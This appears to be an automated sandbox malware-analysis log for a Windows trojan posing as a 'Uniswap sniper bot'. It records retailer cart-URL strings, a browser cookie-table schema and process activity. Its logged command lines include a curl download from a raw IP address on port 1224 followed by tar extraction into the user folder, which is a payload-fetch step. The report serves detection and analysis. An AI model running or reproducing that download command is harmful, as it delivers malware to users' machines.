Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.jcrew.com/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.joann.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.kohls.com/checkout/shopping_cart.jsp$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.landsend.com/shopping-bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.llbean.com/webapp/wcs/stores/servlet/llbshoppingcartdisplay/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.lulus.com/checkout/bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.macys.com/((my-bag)
Source: my2gf4tNEk.exe, 00000000.00000003.2401716291.00000000057E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.medikoo.com/)
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.neimanmarcus.com/checkout/cart.jsp/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.nike.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.nordstrom.com/shopping-bag/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.officedepot.com/cart/shoppingCart.do/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.opticsplanet.com/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.overstock.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pacsun.com/on/demandware.store/Sites-pacsun-Site/default/Cart-Show/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.petsmart.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pier1.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.pokemoncenter.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.potterybarn.com/shoppingcart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.qvc.com/checkout/cart.html/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.redbubble.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.rei.com/shoppingcart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.revolve.com/r/shoppingbag.jsp/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.rockauto.com/en/cart(/(checkout)?)?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.saksfifthavenue.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.samsclub.com/(sams/)?cart/?
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sephora.com/basket/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.shutterfly.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.staples.com/cc/mmx/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.sweetwater.com/store/cart.php/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.talbots.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.target.com/(co-)?cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.teacherspayteachers.com/cart(/checkout)?/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.therealreal.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.tractorsupply.com/tscshoppingcartview/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.ulta.com/bag(/(empty
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.underarmour.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.unicode.org/Public/UNIDATA/EastAsianWidth.txt
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.urbanoutfitters.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.vans.com/shop/orderitemdisplay/
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.vitalsource.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.walgreens.com/cart/view-ui/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wayfair.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.weightwatchers.com/us/shop/checkout/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.westelm.com/shoppingcart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.wiley.com/(
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.williams-sonoma.com/shoppingcart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zappos.com/cart/?$
Source: my2gf4tNEk.exe, 00000000.00000003.2401474914.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://www.zennioptical.com/shoppingCart/?$

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49773 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 49774 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443

Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp

Binary or memory string: GetRawInputData

memstr_dffbbfc4-5

Source: C:\Windows\System32\tar.exe

File created: C:\Users\user\.pyp\DLLs\python_tools.cat

Jump to dropped file

Source: C:\Users\user\Desktop\my2gf4tNEk.exe

Process token adjusted: Security

Jump to behavior

Source: unicodedata.pyd.24.dr

Static PE information: Resource name: RT_VERSION type: COM executable for DOS

Source: vulkan-1.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: libEGL.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libGLESv2.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: vk_swiftshader.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: vulkan-1.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: uniswap-sniper-bot-with-gui.exe0.0.dr	Static PE information: Number of sections : 15 > 10
Source: vk_swiftshader.dll.0.dr	Static PE information: Number of sections : 12 > 10
Source: libGLESv2.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: libEGL.dll0.0.dr	Static PE information: Number of sections : 12 > 10
Source: uniswap-sniper-bot-with-gui.exe.0.dr	Static PE information: Number of sections : 15 > 10
Source: ffmpeg.dll0.0.dr	Static PE information: Number of sections : 11 > 10
Source: ffmpeg.dll.0.dr	Static PE information: Number of sections : 11 > 10

Source: my2gf4tNEk.exe, 00000000.00000003.2407378218.0000000006000000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamed3dcompiler_47.dllj% vs my2gf4tNEk.exe
Source: my2gf4tNEk.exe, 00000000.00000003.2506334396.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamevk_swiftshader.dll, vs my2gf4tNEk.exe
Source: my2gf4tNEk.exe, 00000000.00000003.2410659082.0000000005FE0000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamelibGLESv2.dllb! vs my2gf4tNEk.exe

Source: my2gf4tNEk.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: classification engine

Classification label: mal52.troj.spyw.winEXE@32/1315@2/4

Source: C:\Users\user\Desktop\my2gf4tNEk.exe

File created: C:\Users\user\AppData\Local\Programs

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6408:120:WilError_03
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5484:120:WilError_03
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Mutant created: \Sessions\1\BaseNamedObjects\deed1b2d-6a1c-5708-934a-7202254448da
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2420:120:WilError_03

Source: C:\Users\user\Desktop\my2gf4tNEk.exe

File created: C:\Users\user\AppData\Local\Temp\nsaAF8A.tmp

Jump to behavior

Source: my2gf4tNEk.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\SysWOW64\tasklist.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process WHERE Caption = 'UNISWAP-SNIPER-BOT-WITH-GUI.EXE'

Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: UPDATE %Q.sqlite_master SET tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqliteX_autoindex%%' ESCAPE 'X' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: my2gf4tNEk.exe, 00000000.00000003.2506629263.0000000006E79000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: SELECT name FROM sqlite_master WHERE type='table';
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE cookies(creation_utc INTEGER NOT NULL,host_key TEXT NOT NULL,top_frame_site_key TEXT NOT NULL,name TEXT NOT NULL,value TEXT NOT NULL,encrypted_value BLOB NOT NULL,path TEXT NOT NULL,expires_utc INTEGER NOT NULL,is_secure INTEGER NOT NULL,is_httponly INTEGER NOT NULL,last_access_utc INTEGER NOT NULL,has_expires INTEGER NOT NULL,is_persistent INTEGER NOT NULL,priority INTEGER NOT NULL,samesite INTEGER NOT NULL,source_scheme INTEGER NOT NULL,source_port INTEGER NOT NULL,is_same_party INTEGER NOT NULL);
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: INSERT INTO %Q.sqlite_master VALUES('index',%Q,%Q,#%d,%Q);
Source: uniswap-sniper-bot-with-gui.exe, 00000008.00000000.2609582460.00007FF67E739000.00000002.00000001.01000000.0000000D.sdmp	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);

Source: unknown	Process created: C:\Users\user\Desktop\my2gf4tNEk.exe "C:\Users\user\Desktop\my2gf4tNEk.exe"
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv \| "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"
Source: unknown	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe"
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1744 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2052 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6966340881 --mojo-platform-channel-handle=2348 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2
Source: C:\Users\user\Desktop\my2gf4tNEk.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c tasklist /FI "USERNAME eq %USERNAME%" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv \| "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\tasklist.exe tasklist /FI "USERNAME eq user" /FI "IMAGENAME eq uniswap-sniper-bot-with-gui.exe" /FO csv	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\find.exe "C:\Windows\system32\find.exe" "uniswap-sniper-bot-with-gui.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADgAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=1744 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --mojo-platform-channel-handle=2052 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:8	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=renderer --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --app-path="C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\resources\app.asar" --no-sandbox --no-zygote --lang=en-GB --device-scale-factor=1 --num-raster-threads=2 --enable-main-frame-before-activation --renderer-client-id=4 --launch-time-ticks=6966340881 --mojo-platform-channel-handle=2348 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:1	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown""	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user"	Jump to behavior
Source: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe	Process created: C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe "C:\Users\user\AppData\Local\Programs\uniswap-sniper-bot-with-gui\uniswap-sniper-bot-with-gui.exe" --type=gpu-process --disable-gpu-sandbox --use-gl=disabled --gpu-vendor-id=5140 --gpu-device-id=140 --gpu-sub-system-id=0 --gpu-revision=0 --gpu-driver-version=10.0.19041.546 --user-data-dir="C:\Users\user\AppData\Roaming\uniswap-sniper-bot-with-gui" --gpu-preferences=UAAAAAAAAADoAAAYAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAACAAAAAAAAAAAAAAAAAAAAAAAAAAEgAAAAAAAAASAAAAAAAAAAYAAAAAgAAABAAAAAAAAAAGAAAAAAAAAAQAAAAAAAAAAAAAAAOAAAAEAAAAAAAAAABAAAADgAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2252 --field-trial-handle=1912,i,12440125917234226040,14168537855868665804,131072 --disable-features=SpareRendererForSitePerProcess,WinRetrieveSuggestionsOnlyOnDemand /prefetch:2	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\curl.exe curl -Lo "C:\Users\user\AppData\Local\Temp\p.zi" "http://185.153.182.241:1224/pdown"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\tar.exe tar -xf C:\Users\user\AppData\Local\Temp\p2.zip -C C:\Users\user

Source: ffmpeg.dll.0.dr	Static PE information: section name: .00cfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .gxfg
Source: ffmpeg.dll.0.dr	Static PE information: section name: .retplne
Source: ffmpeg.dll.0.dr	Static PE information: section name: .voltbl
Source: ffmpeg.dll.0.dr	Static PE information: section name: _RDATA
